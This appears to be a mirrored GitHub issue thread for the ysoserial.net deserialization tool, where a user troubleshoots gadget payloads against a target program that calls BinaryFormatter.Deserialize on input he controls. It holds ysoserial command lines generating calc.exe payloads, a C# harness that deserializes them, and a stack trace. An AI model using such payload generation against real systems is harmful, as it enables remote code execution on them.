Git Product home page Git Product logo

Comments (7)

djerryz avatar djerryz commented on July 30, 2024

image

from ysoserial.net.

djerryz avatar djerryz commented on July 30, 2024

And My target program look like .net 2, it use "binaryFormatter.Deserialize(memoryStream);" , i can control memoryStream , so i think it have RCE vulnerbility

from ysoserial.net.

irsdl avatar irsdl commented on July 30, 2024

I think you are using the old version. You can get the latest version from https://github.com/pwntester/ysoserial.net/actions

That said, if your target uses .NET v2.0, we currently have an old branch for it which still requires .NET 3.5 to be available on the box: https://github.com/pwntester/ysoserial.net/tree/v2

from ysoserial.net.

irsdl avatar irsdl commented on July 30, 2024

We are in the process of updating the release section so that will soon be available too to reduce the confusion :)

from ysoserial.net.

djerryz avatar djerryz commented on July 30, 2024

I think you are using the old version. You can get the latest version from https://github.com/pwntester/ysoserial.net/actions

That said, if your target uses .NET v2.0, we currently have an old branch for it which still requires .NET 3.5 to be available on the box: https://github.com/pwntester/ysoserial.net/tree/v2

I down "Release 1.32" from the release page , because i do not have install visual studio tool or library, build the project maybe difficulty to me. But thanks to your answer, i will download the zip and try to build it , if success i wll close this issues.

from ysoserial.net.

djerryz avatar djerryz commented on July 30, 2024

"https://github.com/pwntester/ysoserial.net/suites/621551954/artifacts/4910623" is awesome.
try "ysoserial.exe -f BinaryFormatter -g RolePrincipal -c "cacl" -t -o base64" general payload seem not effect to target program.
"https://github.com/pwntester/ysoserial.net/tree/v2" build failed, seem i lose " .NETFramework,Version=v2.0 ", can u build it for me: )

from ysoserial.net.

djerryz avatar djerryz commented on July 30, 2024

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 -t

string abc = "base64 string create by ysoserial";
MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(abc));
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
BinaryFormatter binaryFormatter = new BinaryFormatter();
object obj = binaryFormatter.Deserialize(memoryStream);

(netcoreapp3.1) dotnet run , Error Log:

Unhandled exception. System.InvalidCastException: Object must implement IConvertible.
   at System.Convert.ChangeType(Object value, Type conversionType, IFormatProvider provider)
   at System.Runtime.Serialization.FormatterConverter.Convert(Object value, Type type)
   at System.Runtime.Serialization.SerializationInfo.GetValue(String name, Type type)
   at System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender)
   at System.Collections.Generic.SortedSet`1.System.Runtime.Serialization.IDeserializationCallback.OnDeserialization(Object sender)
   at System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(BinaryParser serParser, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, Boolean check)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) 

Referer: https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7

The same Error in ysoserial.exe version Release-17 and Release 1.33

from ysoserial.net.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.